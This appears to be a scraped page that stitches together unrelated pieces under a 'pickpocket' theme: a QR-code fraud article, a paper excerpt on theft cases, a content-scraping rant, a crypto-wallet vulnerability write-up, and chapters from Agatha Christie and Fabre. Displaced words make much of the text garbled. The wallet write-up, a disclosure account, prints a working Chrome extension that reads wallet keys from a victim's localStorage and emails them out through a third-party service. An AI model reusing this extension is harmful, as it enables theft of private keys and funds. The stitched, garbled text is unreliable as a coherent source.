Jackpocket is the first third-party app in the U

Jackpocket

jackpocket

The QR code rules supreme in . You can pay for almost anything with it: street food, toilet paper, a lobster dinner, a foot massage. You can even use it to socialize. At networking sessions, it’s not uncommon to scan someone’s WeChat QR code instead of giving them your business card. China But after an incident last week involving fraudulent QR codes and , the security of China’s most popular offline-to-online tool is coming under fresh scrutiny. US$13 million of stolen money “Some criminals paste their own QR codes over the original ones to illicitly obtain money, as ordinary consumers simply cannot tell the difference,” wrote China Daily, a state-owned English media site, in an op-ed. “That is why we are powerless to prevent QR codes from being used for fraudulent activities, and that is precisely why the enterprises using QR codes should assume their share of the responsibility for protection.” Users have to scan a QR code to unlock bikes from Mobike, a Chinese bike sharing startup. Photo credit: Tech in Asia. This isn’t the first time that QR codes have been used for malicious purposes in China. Essentially a link, QR codes can be used to , which then let the fraudster steal money from a victim’s mobile wallet, such as Alipay. Methods are sometimes even more direct — unsuspecting victims, expecting the payment to go to a shopkeeper or a service provider, will be tricked into transferring money via QR code. infect smartphones with viruses Unsuspecting victims will be tricked into transferring money via QR code. More recently, a spate of scams have been linked to the country’s . Users normally can scan a code to unlock rental bikes; by attaching their own QR code to the bike, fraudsters can fool bike riders into transferring US$43 — the same amount as Mobike’s required deposit — to their account. bike-sharing craze As tech startups in other markets, , prepare to roll out their own QR code solutions, taking a defensive and proactive approach towards protecting users will be paramount. ( has reached out to Mobike for comment and has not yet heard back.) such as India Tech in Asia “Early on, when QR codes just came out, Alipay had concerns around phishing and viruses,” an Ant Financial spokesperson tells . In response, the Alibaba spin-off company developed identity verification and encryption software for its mobile wallet, she says, declining to share specific details about how the technology works. Tech in Asia In addition, Ant Financial has had to educate the shopkeepers and businesses that use Alipay. “We’ll tell them that they have to be alert and make sure that other people aren’t changing the QR codes [in their shops],” she says. Likewise, the app has push notifications to alert users of suspicious or risky behavior, like when a screenshot of your payment QR code is taken. Human error Photo credit: Antonio Tajuelo . However, there are limits to protective software. If users aren’t educated properly, fraudsters may be able to work around fixes via fake QR codes and phishing schemes. That’s true of URLs too — except, in the case of a QR code, it’s difficult to discern its legitimacy by looking at it. cybersecurity “From a cybersecurity point of view, the QR code […] does not have inherent security flaws but is subject to malicious abuses,” Charles Zhang, associate professor and director of the Cybersecurity Lab at the Hong Kong University of Science and Technology, tells . Tech in Asia More education is needed to raise user awareness, much like what we do for cigarette packages. He compares it to HTTP, a protocol used in many web browsers to communicate data. Though web browsers and web users have evolved to “embrace the concept of cybersecurity,” the protocol itself remains largely unchanged, he says. Thus, the responsibility of QR code security belongs to companies, such as those that generate and read QR codes. These codes should be signed digitally, and scanners should be designed to scrutinize QR codes more carefully. But users have to become savvier as well. “Since QR [codes] are cryptic, they give an illusion of being secure to mass users,” says Charles. “More education is, of course, needed to raise the awareness, much like what we do for cigarette packages.” As a case in point, last September, a man in northeastern China had about at a train station. According to his report, a young man had asked him for cash, promising to immediately transfer the same amount via Alipay. When the transfer failed, the fraudster blamed the internet connection, and said he would complete the payment later. Sometimes, no matter how robust your technology is, you can’t prevent human error. US$100 stolen from him Currency converted from Chinese yuan. Rate: US$1 = RMB 6.91. Originally posted on Tech in Asia in March.

Thieves are pickpocketing wallet apps in China

This paper is available on arxiv under CC 4.0 license. Authors: (1) Jakub DRÁPAL, Institute of State and Law of the Czech Academy of Sciences, Czechia, Institute of Criminal Law and Criminology, Leiden University, the Netherlands; (2) Hannes WESTERMANN, Cyberjustice Laboratory, Université de Montréal, Canada; (3) Jaromir SAVELKA, School of Computer Science, Carnegie Mellon University, USA. Table of Links Abstract & Introduction Related Work Dataset Proposed Framework Experimental Design Results and Discussion Conclusions, Future Work and References 3. Dataset In our experiments, we used a dataset of 785 facts descriptions from cases of Czech courts decided in 2017. From the Prosecution Service, we received 834 cases that found an adult defendant guilty of theft. In Czechia, theft also includes burglary and pickpocketing.[2] We slightly over-represented the most serious offenses to ensure a sufficient number of cases in the dataset. We removed 49 cases from the dataset because they were used in a pilot study or due to them containing errors. We extracted text describing the facts. Each extracted text was anonymized and shortened or partially re-written if necessary. The resulting text snippets range from 73 to 29,695 characters in length (1Q 447, median 782, 3Q 1,462 characters). Figure 2 shows an example (automated translation). A group of three law students under the supervision of one of the authors of this paper manually conducted an unstructured variant of thematic analysis.[3] The group arrived at 14 high-level themes focused on modus operandi and target of committed thefts (Figure 2). For each facts description a single theme was independently chosen by two students according to specified rules. The disagreements were resolved by one of the students following careful re-reading of the case. The distribution of the themes over the 785 facts descriptions included in the dataset is presented in Figure 2. The theft in a shop (29.0%) and breaking into another object (17.5%) are the most prevalent themes. [2] ICCS codes 0501 and 0502 except for 0502212 [9]. [3] We did not rigorously adhere to the process described in [5]. This paper is available on under CC 4.0 license.6 arxiv

The Data We Acquired From Using LLMs to Support Thematic Analysis

In the chaotic universe of the internet, there exists a despicable villain – content scraping. It's not just a technical jargon; it's a digital parasite sucking the life out of original publishers. Let's delve into the gut-wrenching reality of this cybercrime, a crime that doesn't just rob creators of their income but also stomps on the very soul of creativity. The Nasty Business of Content Scraping Imagine this: you pour your heart and soul into creating a piece of content. Late nights, coffee-fueled writing sessions, and battles with the blinking cursor – it's all part of the creative struggle. Now, out of nowhere, some soulless creature decides to swipe your creation without asking. This is content scraping – the art of theft in the digital age. Let’s first make it clear: I’m not talking about data scraping here. I’m talking about the monkeys who simply copy and paste whole articles or use an RSS feed scraper plugin to republish your content automatically. The Illusion of Inconsequence – A Sick Joke Oh, but some argue, "It's just information; it's meant to be free!" Well, let me tell you, that's a load of digital garbage. Creativity isn't free; it comes with a price – the price of time, effort, and sometimes, tears. Content scraping isn't sharing; it's stealing, plain and simple. Financial Gut Punch Original publishers aren't swimming in pools of gold coins. They rely on their content to put food on the table and a roof over their heads. Content scraping, however, throws a wrench into this delicate balance. Stolen content means stolen revenue. It's like having your wallet swiped by a digital pickpocket who smirks and walks away, leaving you to count the losses. SEO Headaches Search Engine Optimization is the unsung hero of digital visibility. Original publishers spend hours fine-tuning their content to climb the ladder, only to have content scrapers kick them back down. Search engines get confused, rankings plummet, and suddenly, the hard work of climbing to the top feels like it was for nothing. SEO Quality Butchered Ever had someone mess with your masterpiece? Content scraping isn't just about copying; it's about defacing. Your carefully crafted content might end up looking like a Picasso painting after a toddler got hold of it. It's infuriating, and the worst part? You can't do a thing about it. The Human Cost – Tears in the Keyboard We often forget there are real people behind those screens. Imagine the emotional rollercoaster of seeing your creation, your brainchild, mistreated and misrepresented. It's not just content; it's a piece of the creator's soul. Content scraping steals more than words; it steals the joy and passion that went into creating them. Legal Battles and the Endless Chase Sure, there are , but enforcing them feels like chasing ghosts in the digital labyrinth. Original publishers turn into digital detectives, trying to hunt down content scrapers in a never-ending game of hide-and-seek. The law exists, but it often feels toothless against these faceless thieves. copyright laws The Dark Side of Search Engines: How Google Turns It’s Back On Original Content Creators Original content creators are the unsung heroes, laboring to bring fresh and innovative material to digital platforms worldwide. However, the grim reality is that search engines, particularly Google, seem to care very little about the struggles of these creators. The heart of the issue lies in the merciless dance between new and established websites, where stolen content often triumphs over originality due to a . skewed sense of authority The Unfortunate Tale of the New Content Creator Imagine you're a budding content creator. You've just launched your own website, pouring your passion into crafting articles brimming with unique information, statistics, and insights gathered from real people through painstaking interviews. Your work is your pride, your website a beacon of creativity in the vastness of the internet. Enter the – the digital pirates and parasites of the web. Your meticulously created content is pilfered and republished on a well-established website with towering authority, an abundance of inbound links, and a lengthy digital legacy. RSS feed or content scraper The problem? Your fledgling website lacks authority in the eyes of search engines, setting the stage for a cruel injustice. The Authority Game: Stolen Content vs. Original Creation Google, in its algorithmic wisdom, assigns authority to websites based on factors like age, backlinks, and overall online presence. This, in theory, is meant to prioritize credible sources. However, in the real world, it often translates into an unfair advantage for content scrapers. As a new creator, you find your stolen content ranking higher on the search engine results pages (SERPs) simply because it resides on a site with more authority. Your original work, despite its brilliance and freshness, is relegated to the shadows, demoted and overshadowed by the ill-gotten authority of the content thief’s website. The Race Against Time: Google's Unresponsive Nature The injustice intensifies when you discover that your content has been stolen. You file a Google copyright report, hoping for swift justice. But alas, time is not on your side. By the time you find your content was stolen by a higher authority website and you file a to the point when Google takes action, the damage is done! copyright report The stolen content continues to thrive on the high-authority site, garnering new backlinks and awards, while you, the rightful creators, are left empty-handed. You see, when your content ranked on the other website, it was awarded links. And you, well, left to suffer and stripped of your awards, (Traffic and Links) The Intelligence Gap: Google's Failure to Recognize Original Talent Google, touted as the epitome of digital intelligence, falls short when it comes to distinguishing between stolen content and original brilliance. The algorithm's blind reliance on authority metrics neglects the essence of creativity, leaving talented publishers in the shadows of content scrapers. The prevalent issue of copyright infringement and content scraping has shed light on the limitations of current mechanisms in place for the protection of content creators. Despite Google's formidable arsenal of advanced algorithms, data scientists, and mathematical prowess, there remains a crucial gap in the recognition and attribution of original content. This proposal aims to address this discrepancy by suggesting a refinement in the post-copyright infringement resolution process, specifically concerning the redistribution of authority obtained from stolen content's hyperlinks. To put it simple, if your content was stolen, resulting in it ranking on the site that stole it above your own, and in that time the scraper site was awarded a few natural editorial links, well, once your copyright report is accepted the links that the offending site was referenced should be automatically reassigned behind the scenes to the original publisher’s site. (algorithmically) The Illusion of Algorithmic Omnipotence In the high-tech world of Google's advanced algorithms and data-driven decision-making, one would presume that determining the original publisher based on time and date stamps should be a straightforward task. However, the reality starkly contrasts with this assumption. The current system, despite its sophistication, fails to discern the chronology of content publication accurately, leaving content creators vulnerable to the theft of their intellectual property, traffic, editorial hyperlinks (not source links) and demoted content rankings. The Unfortunate Tale of New Content Creators When I initially launched my own , the SEO metrics authority score was zero. Before figuring out how to effectively block content scrapers using the exceptional service, my content was consistently stolen. tech news website Cloudflare It wasn’t until my news publication was a few years old and built some major authority and trust in the SERPS could I start beating the scrapers on their own game. This in itself took years of painstaking work, writing, original reporting, people networking and hundreds of copyright reports. Surprisingly, the stolen content even managed to rank on the first page of Google on the site that stole it from me. Consequently, I faced a complete loss of traffic, received no awards, and garnered no recognition for my hard work. I found it perplexing that a sophisticated and intelligent search engine, which claims to reward original content creators, would allow such incidents to occur. The Dilemma: A Massive and Intelligent Search Engine Falling Short It is perplexing to witness a massive and supposedly intelligent search engine--boasting a cadre of data scientists and state-of-the-art algorithms--faltering in its commitment to rewarding original content creators. The fundamental issue lies in the failure to prevent stolen content from overshadowing the original work, even when the timeline of publication is readily available. Proposal for Authority Redistribution Post-Copyright Resolution To rectify this disheartening scenario, it is proposed that Google implement a system wherein, upon successful copyright infringement resolution and removal of the stolen content, the authority gained from hyperlinks should be automatically redirected to the original publisher. This redirection would act as a symbolic acknowledgment of the rightful owner's contribution, compensating for the period when their content was unfairly overshadowed. Content Scraping Conclusion - The Final Rant. Content scraping is not a victimless crime; it's a violation of creativity, a slap in the face of hard work, and a ruthless attack on the emotional well-being of creators. It's time to stop treating it as a mere inconvenience and recognize it for what it is – a scourge on the digital landscape. We need not just awareness but a collective roar against content scraping. It's time to safeguard the sanctity of creativity, to stand up for the creators who breathe life into digital content, and to demand justice for the stolen pieces of their souls. Let's not let content scraping go unchecked; let's make some noise and put an end to this thievery.

Content Scraping: An Unforgivable Theft of Creativity

কন্টেন্ট স্ক্র্যাপিং: সৃজনশীলতার একটি ক্ষমার অযোগ্য চুরি

Content Scraping: Ein unverzeihlicher Diebstahl der Kreativität

Scraping de contenido: un robo imperdonable de creatividad

Content Scraping : un vol impardonnable de créativité

सामग्री स्क्रैपिंग: रचनात्मकता की एक अक्षम्य चोरी

コンテンツスクレイピング: 創造性の許しがたい窃盗

콘텐츠 스크래핑: 용서할 수 없는 창의력 도둑질

Raspagem de conteúdo: um roubo imperdoável de criatividade

Парсинг контента: непростительная кража творчества

İçerik Kazıma: Affedilemez Bir Yaratıcılık Hırsızlığı

Quét nội dung: Hành vi trộm cắp tính sáng tạo không thể tha thứ

内容抓取：不可原谅的创造力盗窃

GATHERING CLOUDS.

In January 2022, I joined the community of one of the proof-of-stake blockchains. To play with what the protocol and its ecosystem offered, I created a wallet account on the official website . Apart from general curiosity, I was interested in how they achieved security in a browser, especially in the age of extensions and client-side vulnerabilities. https://wallet.****.org It turned out that when a user logged in, the wallet application (built in React) generated a set of public and private keys and stored them in the browser's local storage. With my experience of building authentication and authorisation in distributed systems, I knew this was not the best thing to do – in general, it's easy for a browser extension and client-side code to read data from local storage[ ]. 1 To prove this, I decided to that would retrieve keys from a victim's browser and send them to my anonymous email address. write a simple extension for Chrome The root directory of my pickpocket extension looked like this: .
├── content.js
├── email.min.js
├── index.html
└── manifest.json The main files are the and . The former is essential for installing the extension. manifest.json content.js {
  "name": "X Wallet Enhancement",
  "version": "1.0",
  "manifest_version": 3,
  "content_scripts": [
    {
      "matches": [
        "https://wallet.****.org/*"
      ],
      "js": [
        "email.min.js",
        "content.js"
      ]
    }
  ]
} is just a client library from one of the cloud services that allows you to send email directly from a browser without any server code. is a blank HTML page that displays nothing. The wallet hijacking logic lived in the file: email.min.js index.html content.js emailjs.init('user_****'); // instantiating an email delivery service

let templateParams = {
    // gathering information about the victim's browser
    from_name: navigator.userAgent,
    // fetching wallet keys from the local storage
    storage: window.localStorage.getItem('_*:wallet:active_account_id_**'),
};

// using a prepared email template to send an email with keys
const serviceID = 'service_****';
const templateID = 'template_****';

emailjs.send(serviceID, templateID, templateParams)
	.then(() => {
  		console.log("Wallet keys were send!");
	}, (err) => {
  		console.error(JSON.stringify(err));
	}); Yes, such a dummy script. I packed all four files into a zip archive and kindly asked my friend, who also had a wallet at , to install my creation in his browser (pretending to do some social engineering). Before doing so, I told him about my findings and the theory I was trying to prove. He was happy to help, and the public and private keys of this wallet account appeared in my inbox a few seconds after the browser extension was installed. Next, I saved the keys to local storage in my browser and opened the wallet website. https://wallet.***.org Surprisingly, my friend's crypto-wallet balance was available to me, along with an option to withdraw the funds. During a Zoom call with my victim friend, I transferred some of his funds to an anonymous account and back. It was mind-blowing! A new, promising blockchain that had recently closed an investment round had a major vulnerability in its wallet. Worst of all, they had 2-factor authentication for users. Of course, not many people would activate it right away, and many didn't. As an ethical developer, I created a vulnerability report, including the source code of the browser extension and my thoughts on how to improve the security of the web application. It was sent directly to the security team's email address on 18th of January. A few days later, I had a call with the CISO of the blockchain protocol, who assured me that they were aware of the issue and would address it in the next release. I was a little disappointed with the speed of the response to the incident. Two days is an eternity when one speaks about users' money. Nevertheless, the blockchain developers granted me their tokens in an amount equivalent to 1000 USDT. 👉🏻 be aware of the technologies you use and their security aspects. Advice for application developers: 💡 learn what security options an organisation offers to you, activate two-factor authentication as soon as you create a wallet account, don't store all of your funds in hot wallets. Advice for crypto users: Worth reading Is LocalStorage safe to use? | Snyk Please Stop Using Local Storage Using HTTP cookies - HTTP | MDN HttpOnly | OWASP Foundation Also published . here

How I Found a Vulnerability in a Crypto Wallet and Made $1,000

কিভাবে আমি একটি ক্রিপ্টো ওয়ালেটে একটি দুর্বলতা খুঁজে পেয়েছি এবং $1,000 তৈরি করেছি৷

Wie ich eine Sicherheitslücke in einem Krypto-Wallet entdeckte und 1.000 Dollar verdiente

Cómo encontré una vulnerabilidad en una billetera criptográfica y gané $1000

Comment j'ai trouvé une vulnérabilité dans un portefeuille cryptographique et gagné 1 000 $

कैसे मैंने एक क्रिप्टो वॉलेट में भेद्यता पाई और $1,000 कमाए

暗号ウォレットの脆弱性を見つけて 1,000 ドルを稼いだ方法

암호화폐 지갑의 취약점을 발견하고 1,000달러를 벌었던 방법

Como encontrei uma vulnerabilidade em uma carteira criptografada e ganhei US$ 1.000

Как я нашел уязвимость в криптокошельке и заработал 1000 долларов

Kripto Cüzdanında Bir Güvenlik Açığı Nasıl Buldum ve 1.000 Dolar Kazandım

Làm cách nào tôi tìm thấy lỗ hổng trong Ví tiền điện tử và kiếm được 1.000 đô la

我如何发现加密钱包中的漏洞并赚了 1,000 美元

Mr Moffat Falls into Trouble

The Man in the Brown Suit by Agatha Christie, is part of the HackerNoon Books Series. You can jump to any chapter in this book here . Chapter IV CHAPTER IV Nobody came forward to identify the dead woman. The inquest elicited the following facts. Shortly after one o’clock on January 8th, a well-dressed woman with a slight foreign accent had entered the offices of Messrs. Butler and Park, house-agents, in Knightsbridge. She explained that she wanted to rent or purchase a house on the Thames within easy reach of London. The particulars of several were given to her, including those of the Mill House. She gave the name of Mrs. de Castina and her address as the Ritz, but there proved to be no one of that name staying there, and the hotel people failed to identify the body. Mrs. James, the wife of Sir Eustace Pedler’s gardener, who acted as caretaker to the Mill House and inhabited the small lodge opening on the main road, gave evidence. About three o’clock that afternoon, a lady came to see over the house. She produced an order from the house-agents, and, as was the usual custom, Mrs. James gave her the keys of the house. It was situated at some distance from the lodge, and she was not in the habit of accompanying prospective tenants. A few minutes later a young man arrived. Mrs. James described him as tall and broad-shouldered, with a bronzed face and light grey eyes. He was clean-shaven and was wearing a brown suit. He explained to Mrs. James that he was a friend of the lady who had come to look over the house, but had stopped at the post office to send a telegram. She directed him to the house, and thought no more about the matter. Five minutes later he reappeared, handed her back the keys and explained that he feared the house would not suit them. Mrs. James did not see the lady, but thought that she had gone on ahead. What she did notice was that the young man seemed very much upset about something. “He looked like a man who’d seen a ghost. I thought he was taken ill.” On the following day another lady and gentleman came to see the property and discovered the body lying on the floor in one of the upstairs rooms. Mrs. James identified it as that of the lady who had come the day before. The house-agents also recognized it as that of “Mrs. de Castina.” The police surgeon gave it as his opinion that the woman had been dead about twenty-four hours. The Daily Budget had jumped to the conclusion that the man in the Tube had murdered the woman and afterwards committed suicide. However, as the Tube victim was dead at two o’clock, and the woman was alive and well at three o’clock, the only logical conclusion to come to was that the two occurrences had nothing to do with each other, and that the order to view the house at Marlow found in the dead man’s pocket was merely one of those coincidences which so often occur in this life. A verdict of “Wilful Murder against some person or persons unknown” was returned, and the police (and the Daily Budget) were left to look for “the man in the brown suit.” Since Mrs. James was positive that there was no one in the house when the lady entered it, and that nobody except the young man in question entered it until the following afternoon, it seemed only logical to conclude that he was the murderer of the unfortunate Mrs. de Castina. She had been strangled with a piece of stout black cord, and had evidently been caught unawares with no time to cry out. The black silk handbag which she carried contained a well-filled notecase and some loose change, a fine lace handkerchief, unmarked, and the return half of a first-class ticket to London. Nothing much there to go upon. Such were the details published broadcast by the Daily Budget, and “Find the Man in the Brown Suit” was their daily war-cry. On an average about five hundred people wrote daily to announce their success in the quest, and tall young men with well-tanned faces cursed the day when their tailors had persuaded them to a brown suit. The accident in the Tube, dismissed as a coincidence, faded out of the public mind. Was it a coincidence? I was not so sure. No doubt I was prejudiced—the Tube incident was my own pet mystery—but there certainly seemed to me to be a connection of some kind between the two fatalities. In each there was a man with a tanned face—evidently an Englishman living abroad, and there were other things. It was the consideration of these other things that finally impelled me to what I considered a dashing step. I presented myself at Scotland Yard and demanded to see whoever was in charge of the Mill House case. My request took some time to understand, as I had inadvertently selected the department for lost umbrellas, but eventually I was ushered into a small room and presented to Detective Inspector Meadows. Inspector Meadows was a small man with a ginger head and what I considered a peculiarly irritating manner. A satellite, also in plain clothes, sat unobtrusively in a corner. “Good morning,” I said nervously. “Good morning. Will you take a seat? I understand you’ve something to tell me that you think may be of use to us.” His tone seemed to indicate that such a thing was unlikely in the extreme. I felt my temper stirred. “Of course you know about the man who was killed in the Tube? The man who had an order to view this same house at Marlow in his pocket.” “Ah!” said the inspector. “You are the Miss Beddingfeld who gave evidence at the inquest. Certainly the man had an order in his pocket. A lot of other people may have had too—only they didn’t happen to be killed.” I rallied my forces. “You don’t think it odd that this man had no ticket in his pocket?” “Easiest thing in the world to drop your ticket. Done it myself.” “And no money.” “He had some loose change in his trousers pocket.” “But no notecase.” “Some men don’t carry a pocket-book or notecase of any kind.” I tried another tack. “You don’t think it’s odd that the doctor never came forward afterwards?” “A busy medical man very often doesn’t read the papers. He probably forgot all about the accident.” “In fact, inspector, you are determined to find nothing odd,” I said sweetly. “Well, I’m inclined to think you’re a little too fond of the word, Miss Beddingfeld. Young ladies are romantic, I know—fond of mysteries and such-like. But as I’m a busy man——” I took the hint and rose. The man in the corner raised a meek voice. “Perhaps the young lady would tell us briefly what her ideas really are on the subject, inspector?” The inspector fell in with the suggestion readily enough. “Yes, come now, Miss Beddingfeld, don’t be offended. You’ve asked questions and hinted things. Just say straight out what it is you’ve got in your head.” I wavered between injured dignity and the overwhelming desire to express my theories. Injured dignity went to the wall. “You said at the inquest you were positive it wasn’t suicide?” “Yes, I’m quite certain of that. The man was frightened. What frightened him? It wasn’t me. But some one might have been walking up the platform towards us—some one he recognized.” “You didn’t see any one?” “No,” I admitted. “I didn’t turn my head. Then, as soon as the body was recovered from the line, a man pushed forward to examine it, saying he was a doctor.” “Nothing unusual in that,” said the inspector dryly. “But he wasn’t a doctor.” “What?” “He wasn’t a doctor,” I repeated. “How do you know that, Miss Beddingfeld?” “It’s difficult to say, exactly. I’ve worked in Hospital during the war, and I’ve seen doctors handle bodies. There’s a sort of deft professional callousness that this man hadn’t got. Besides, a doctor doesn’t usually feel for the heart on the right side of the body.” “He did that?” “Yes, I didn’t notice it specially at the time—except that I felt there was something wrong. But I worked it out when I got home, and then I saw why the whole thing had looked so unhandy to me at the time.” “H’m,” said the inspector. He was reaching slowly for pen and paper. “In running his hands over the upper part of the man’s body he would have ample opportunity to take anything he wanted from the pockets.” “Doesn’t sound likely to me,” said the inspector. “But—well, can you describe him at all?” “He was tall and broad-shouldered, wore a dark overcoat and black boots, a bowler hat. He had a dark pointed beard and gold-rimmed eyeglasses.” “Take away the overcoat, the beard and the eyeglasses, and there wouldn’t be much to know him by,” grumbled the inspector. “He could alter his appearance easy enough in five minutes if he wanted to—which he would do if he’s the swell pickpocket you suggest.” I had not intended to suggest anything of the kind. But from this moment I gave the inspector up as hopeless. “Nothing more you can tell us about him?” he demanded, as I rose to depart. “Yes,” I said. I seized my opportunity to fire a parting shot. “His head was markedly brachycephalic. He will not find it so easy to alter that.” I observed with pleasure that Inspector Meadow’s pen wavered. It was clear that he did not know how to spell brachycephalic. About HackerNoon Book Series: We bring you the most important technical, scientific, and insightful public domain books. This book is part of the public domain. Agatha Christie (2020). The Man in the Brown Suit. Urbana, Illinois: Project Gutenberg. Retrieved https://www.gutenberg.org/cache/epub/61168/pg61168-images.html This eBook is for the use of anyone anywhere at no cost and with almost no restrictions whatsoever. You may copy it, give it away or re-use it under the terms of the Project Gutenberg License included with this eBook or online at www.gutenberg.org , located at https://www.gutenberg.org/policy/license.html.

Nobody came forward to identify the dead woman

How I Hacked and Turned My CASIO F-91W Into a Contactless Payment Device

কিভাবে আমি আমার CASIO F-91W কে হ্যাক করে একটি কন্টাক্টলেস পেমেন্ট ডিভাইসে পরিণত করেছি

Wie ich meinen CASIO F-91W gehackt und in ein kontaktloses Zahlungsgerät verwandelt habe

Cómo hackeé y convertí mi CASIO F-91W en un dispositivo de pago sin contacto

Comment j'ai piraté et transformé mon CASIO F-91W en appareil de paiement sans contact

मैंने कैसे हैक किया और अपने CASIO F-91W को संपर्क रहित भुगतान डिवाइस में बदल दिया

CASIO F-91W をハッキングして非接触型決済デバイスに変えた方法

CASIO F-91W를 해킹하여 비접촉 결제 장치로 바꾸는 방법

Como hackeei e transformei meu CASIO F-91W em um dispositivo de pagamento sem contato

CASIO F-91W'mi Nasıl Hackledim ve Temassız Ödeme Cihazına Dönüştürdüm

Cách tôi hack và biến chiếc CASIO F-91W của mình thành một thiết bị thanh toán không cần tiếp xúc

我如何将 CASIO F-91W 改造为非接触式支付设备

The shock made me utter an exclamation.

At spas—and, probably, all over Europe

Fabre's Book of Insects by Jean-Henri Fabre, is part of the HackerNoon Books Series. You can jump to any chapter in this book here . THE SACRED BEETLE CHAPTER II. THE SACRED BEETLE I. THE BALL It is six or seven thousand years since the Sacred Beetle was first talked about. The peasant of ancient Egypt, as he watered his patch of onions in the spring, would see from time to time a fat black insect pass close by, hurriedly trundling a ball backwards. He would watch the queer rolling thing in amazement, as the peasant of Provence watches it to this day. The early Egyptians fancied that this ball was a symbol of the earth, and that all the Scarab’s actions were prompted by the movements of the heavenly bodies. So much knowledge of astronomy in a Beetle seemed to them almost divine, and that is why he is called the Sacred Beetle. They also thought that the ball he rolled on the ground contained the egg, and that the young Beetle came out of it. But as a matter of fact, it is simply his store of food. It is not at all nice food. For the work of this Beetle [ ]is to scour the filth from the surface of the soil. The ball he rolls so carefully is made of his sweepings from the roads and fields. 12 This is how he sets about it. The edge of his broad, flat head is notched with six teeth arranged in a semi-circle, like a sort of curved rake; and this he uses for digging and cutting up, for throwing aside the stuff he does not want, and scraping together the food he chooses. His bow-shaped fore-legs are also useful tools, for they are very strong, and they too have five teeth on the outside. So if a vigorous effort be needed to remove some obstacle the Scarab makes use of his elbows, that is to say he flings his toothed legs to right and left, and clears a space with an energetic sweep. Then he collects armfuls of the stuff he has raked together, and pushes it beneath him, between the four hinder-legs. These are long and slender, especially the last pair, slightly bowed and finished with a sharp claw. The Beetle then presses the stuff against his body with his hind-legs, curving it and spinning it round and round till it forms a perfect ball. In a moment a tiny pellet grows to the size of a walnut, and soon to that of an apple. I have seen some gluttons manufacture a ball as big as a man’s fist. When the ball of provisions is ready it must be moved to a suitable place. The Beetle begins the journey. He clasps the ball with his long hind-legs and walks with [ ]his fore-legs, moving backwards with his head down and his hind-quarters in the air. He pushes his load behind him by alternate thrusts to right and left. One would expect him to choose a level road, or at least a gentle incline. Not at all! Let him find himself near some steep slope, impossible to climb, and that is the very path the obstinate creature will attempt. The ball, that enormous burden, is painfully hoisted step by step, with infinite precautions, to a certain height, always backwards. Then by some rash movement all this toil is wasted: the ball rolls down, dragging the Beetle with it. Once more the heights are climbed, and another fall is the result. Again and again the insect begins the ascent. The merest trifle ruins everything; a grass-root may trip him up or a smooth bit of gravel make him slip, and down come ball and Beetle, all mixed up together. Ten or twenty times he will start afresh, till at last he is successful, or else sees the hopelessness of his efforts and resigns himself to taking the level road. 13 Sometimes the Scarab seems to enter into partnership with a friend. This is the way in which it usually happens. When the Beetle’s ball is ready he leaves the crowd of workers, pushing his prize backwards. A neighbour, whose own task is hardly begun, suddenly drops his work and runs to the moving ball, to lend a hand to the owner. His aid seems to be accepted [ ]willingly. But the new-comer is not really a partner: he is a robber. To make one’s own ball needs hard work and patience; to steal one ready-made, or to invite oneself to a neighbour’s dinner, is much easier. Some thieving Beetles go to work craftily, others use violence. 14 Sometimes a thief comes flying up, knocks over the owner of the ball, and perches himself on top of it. With his fore-legs crossed over his breast, ready to hit out, he awaits events. If the owner raises himself to seize his ball the robber gives him a blow that stretches him on his back. Then the owner gets up and shakes the ball till it begins rolling, and perhaps the thief falls off. A wrestling-match follows. The two Beetles grapple with one another: their legs lock and unlock, their joints intertwine, their horny armour clashes and grates with the rasping sound of metal under a file. The one who is successful climbs to the top of the ball, and after two or three attempts to dislodge him the defeated Scarab goes off to make himself a new pellet. I have sometimes seen a third Beetle appear, and rob the robber. But sometimes the thief bides his time and trusts to cunning. He pretends to help the victim to roll the food along, over sandy plains thick with thyme, over cart-ruts and steep places, but he really does very little of the work, preferring to sit on the ball and do nothing. When a suitable place for a burrow is reached the rightful [ ]owner begins to dig with his sharp-edged forehead and toothed legs, flinging armfuls of sand behind him, while the thief clings to the ball, shamming dead. The cave grows deeper and deeper, and the working Scarab disappears from view. Whenever he comes to the surface he glances at the ball, on which the other lies, demure and motionless, inspiring confidence. But as the absences of the owner become longer the thief seizes his chance, and hurriedly makes off with the ball, which he pushes behind him with the speed of a pickpocket afraid of being caught. If the owner catches him, as sometimes happens, he quickly changes his position, and seems to plead as an excuse that the pellet rolled down the slope, and he was only trying to stop it! And the two bring the ball back as though nothing had happened. 15 If the thief has managed to get safely away, however, the owner can only resign himself to his loss, which he does with admirable fortitude. He rubs his cheeks, sniffs the air, flies off, and begins his work all over again. I admire and envy his character. At last his provisions are safely stored. His burrow is a shallow hole about the size of a man’s fist, dug in soft earth or sand, with a short passage to the surface, just wide enough to admit the ball. As soon as his food is rolled into this burrow the Scarab shuts himself in by stopping up the entrance with rubbish. The ball [ ]fills almost the whole room: the banquet rises from floor to ceiling. Only a narrow passage runs between it and the walls, and here sit the banqueters, two at most, very often only one. Here the Sacred Beetle feasts day and night, for a week or a fortnight at a time, without ceasing. 16 II. THE PEAR As I have already said, the ancient Egyptians thought that the egg of the Sacred Beetle was within the ball that I have been describing. I have proved that it is not so. One day I discovered the truth about the Scarab’s egg. A young shepherd who helps me in his spare time came to me one Sunday in June with a queer thing in his hand. It was exactly like a tiny pear that had lost all its fresh colour and had turned brown in rotting. It was firm to the touch and very graceful in shape, though the materials of which it was formed seemed none too nicely chosen. The shepherd assured me there was an egg inside it; for a similar pear, crushed by accident in the digging, had contained a white egg the size of a grain of wheat.[ ] 17 At daybreak the next morning the shepherd and I went out to investigate the matter. We met among the browsing sheep, on some slopes that had lately been cleared of trees. A Sacred Beetle’s burrow is soon found: you can tell it by the fresh little mound of earth above it. My companion dug vigorously into the ground with my pocket trowel, while I lay down, the better to see what was being unearthed. A cave opened out, and there I saw, lying in the moist earth, a splendid pear upon the ground. I shall not soon forget my first sight of the mother Beetle’s wonderful work. My excitement could have been no greater had I, in digging among the relics of ancient Egypt, found the sacred insect carved in emerald. We went on with our search, and found a second hole. Here, by the side of the pear and fondly embracing it, was the mother Beetle, engaged no doubt in giving it the finishing touches before leaving the burrow for good. There was no possible doubt that the pear was the nest of the Scarab. In the course of the summer I found at least a hundred such nests. The pear, like the ball, is formed of refuse scraped up in the fields, but the materials are less coarse, because they are intended for the food of the grub. When it comes out of the egg it is incapable of searching for its [ ]own meals, so the mother arranges that it shall find itself surrounded by the food that suits it best. It can begin eating at once, without further trouble. 18 The egg is laid in the narrow end of the pear. Every germ of life, whether of plant or animal, needs air: even the shell of a bird’s egg is riddled with an endless number of pores. If the germ of the Scarab were in the thick part of the pear it would be smothered, because there the materials are very closely packed, and are covered with a 